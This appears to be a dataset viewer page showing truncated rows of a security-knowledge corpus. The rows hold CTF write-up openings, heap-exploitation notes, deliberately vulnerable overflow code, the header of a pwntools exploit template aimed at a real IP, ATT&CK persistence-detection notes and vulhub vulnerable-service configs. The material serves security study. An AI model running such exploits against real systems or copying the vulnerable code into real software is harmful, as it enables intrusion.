root... | sec-knowleage |
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH ENV 1 2022年9月 "GNU coreutils 9.1"... | sec-knowleage |
# VimJail (pwn)
###ENG
[PL](#pl-version)
In the task we get credentials to log-in on the server via SSH.
We are `ctfuser` user and we can see that there is `flagReader` binary in our home, but with it's only executable for `secretuser`.
The binary also has GUID bit set, so it can read flag in the `/.flag`.
By checking ... | sec-knowleage |
# 堆利用
在该章节中,我们会按照如下的步骤进行介绍
1. 介绍我们所熟知的动态内存分配的堆的宏观操作
2. 介绍为了达到这些操作所使用的数据结构
3. 介绍利用这些数据结构实现堆的分配与回收的具体操作
4. 由浅入深地介绍堆的各种利用技巧。
对于不同的应用来说,由于内存的需求各不相同等特性,因此目前堆的实现有很多种,具体如下
```text
dlmalloc – General purpose allocator
ptmalloc2 – glibc
jemalloc – FreeBSD and Firefox
tcmalloc – Google
libumem – Solaris
```
这里我们主要以 glibc 中堆... | sec-knowleage |
# whats-the-difference
General Skills, 200 points
## Description:
> Can you spot the difference? kitters cattos.
## Solution:
We receive two images: `cattos.jpg` and `kitters.jpg`. Visually, they seem similar, however `cattos.jpg` has some kind of corruption.
Let's diff them:
```console
root@kali:/media/sf_CTFs/pico/w... | sec-knowleage |
---
title: 模块的语法
---
## 模块(Module)
### 导出:export
命名导出
```
var a = 1
var b = 2
var person = () => console.log('a')
export { a,b,person }
```
默认导出
```
export default App
```
### 导入:**import**
命名导入
**as**
```
import {a as c,b,person} from './app'
console.log(c,b,person)
```
a作为c导入,a可以再次使用,并不会被覆盖
全部导入(*)
```
import * as c ... | sec-knowleage |
decompilation=open("decomp").read().split("\n")
equations=[]
free=[]
for i in range(16):
variables={}
for j in range(16):
var=decompilation[i*18+j+1].split(" ")[4]
val=decompilation[i*18+j+1].split(" ")[8][:-2]
val=int(val)
val-=72
val/=4
variables[var]=val
... | sec-knowleage |
# Plague of Frogs
## Description
> > “I will smite all your territory with frogs. So the river shall bring forth frogs abundantly, which shall go up and come into your house, into your bedroom, on your bed, into the houses of your servants, on your people, into your ovens, and into your kneading bowls. And the frogs sh... | sec-knowleage |
# HITB-XCTF GSEC CTF 2018 Quals
Team: shalom, sasza, rev, msm, akrasuski1
### Table of contents
* [python revenge (web)](web_python)
* [easy pub (crypto)](crypto_pub)
* [multicheck (re)](re_multicheck) | sec-knowleage |
version: '3'
services:
web:
image: vulhub/php:5.6-with-imap
volumes:
- ./www:/var/www/html
ports:
- "8080:80" | sec-knowleage |
# asm2
Reverse Engineering, 250 points
## Description:
> What does asm2(0xc,0x15) return? Submit the flag as a hexadecimal value (starting with '0x').
```assembly
asm2:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: sub esp,0x10
<+6>: mov eax,DWORD PTR [ebp+0xc]
<+9>: mov DWORD PTR [ebp-0x4],eax
<+12>: mov ... | sec-knowleage |
# Secret server (Crypto, 221p)
```
AES is unbreakable. Right?
nc 52.193.157.19 9999
```
In the task we get the [sever sources](secretserver.py) to work with.
It's rather short and pretty simple to understand.
1. The application asks us to solve a simple PoW
2. Application sends to us AES-CBC encrypted message `Welcome!... | sec-knowleage |
# Chinese Satellite (crypto 200)
## ENG
[PL](#pl-version)
This task was very strange.
The author clearily didn't understand quantum key exchange at all, and in this particular case knowing how this should work was making the task harder to solve...
In the task we get some intercepted quantum transfers [sat->ground](q_t... | sec-knowleage |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 54.93.40.66 --port 1337
try:
from pwn import *
except ImportError:
from pwnwin import *
import time
# Many built-in settings can be controlled on the command-line and show up
# in "args". For exa... | sec-knowleage |
# Volatility
<p align="center">
<img src="../../../assets/img/logo/volatility.png" width="20%">
</p>
> 文章作者 [r0fus0d](https://github.com/No-Github) & [Lorna Dane](https://github.com/tonyscy)
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
Volatility 是一个用于事件响应和恶意软件分析的开源内存取证框架。它是用 Python 编... | sec-knowleage |
.\" t
.\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
... | sec-knowleage |
import java.io.*;
import java.net.URLEncoder;
import java.nio.file.Files;
import java.net.InetSocketAddress;
import java.net.URI;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import org.apache.http.HttpEntity;
import org.apache.http.Htt... | sec-knowleage |
# Writeup TUM CTF 2016
Team: psrok1, c7f.m0d3, cr019283, ppr, nazywam, msm, akrasuski1, shalom

### Table of contents
* [Haggis (Crypto 100 +3)](haggis_crypto_100)
* [hiecss (Crypto 150 +22)](hiecss_crypto_150)
* [The joy of painting (Stegano 50 +2)](joy_stegano_50)
* [c0py pr073c710n (Pwn 200 +11)](c0p... | sec-knowleage |
# OverFlow 0
Binary Exploitation, 100 points
## Description:
> This should be easy. Overflow the correct buffer in this program and get a flag.
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(s... | sec-knowleage |
# T1546-007-win-通过netsh key持久化
## 来自ATT&CK的描述
攻击者可以通过执行Netsh Helper DLL触发的恶意内容来建立持久性。Netsh.exe是一个管理员可以用来在命令提示符处配置并监视基于Windows的计算机的工具。使用Netsh.exe工具,可以将输入的上下文命令定向到适当的帮助器,然后帮助器将执行命令。帮助器是个动态链接库(.dll)文件,它通过提供配置、监视和支持一种或多种服务、实用工具或协议,来扩展Netsh.exe工具的功能。
已注册的netsh.exe帮助程序DLL的路径在Windows注册表HKLM\SOFTWARE\Microsoft\Netsh中
攻击者可以使用ne... | sec-knowleage |
# 51. 数组中的逆序对
[NowCoder](https://www.nowcoder.com/practice/96bd6684e04a44eb80e6a68efc0ec6c5?tpId=13&tqId=11188&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
在数组中的两个数字,如果前面一个数字大于后面的数字,则这两个数字组成一个逆序对。输入一个数组,求出这个数组中的逆序对的总数。
## 解题思路
```java
private long cnt = 0;
pr... | sec-knowleage |
### 信息泄漏关于dmesg_restrict介绍
考虑到内核日志中可能会有一些地址信息或者敏感信息,研究者提出需要对内核日志的访问进行限制。
该选项用于控制是否可以使用 `dmesg` 来查看内核日志。当 `dmesg_restrict` 为 0 时,没有任何限制;当该选项为 1 时,只有具有 `CAP_SYSLOG` 权限的用户才可以通过 `dmesg` 命令来查看内核日志。
```
dmesg_restrict:
This toggle indicates whether unprivileged users are prevented
from using dmesg(8) to view messages from th... | sec-knowleage |
# T1218-011-win-通过Rundll32的异常网络链接
## 来自ATT&CK的描述
Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。
Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。
Rundll32也可用于执行JavaScript等脚本。可以使用... | sec-knowleage |
version: '2'
services:
ecshop27:
image: vulhub/ecshop:2.7.3
depends_on:
- mysql
ports:
- "8080:80"
ecshop36:
image: vulhub/ecshop:3.6.0
depends_on:
- mysql
ports:
- "8081:80"
mysql:
image: mysql:5.5
environment:
- MYSQL_ROOT_PASSWORD=root | sec-knowleage |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.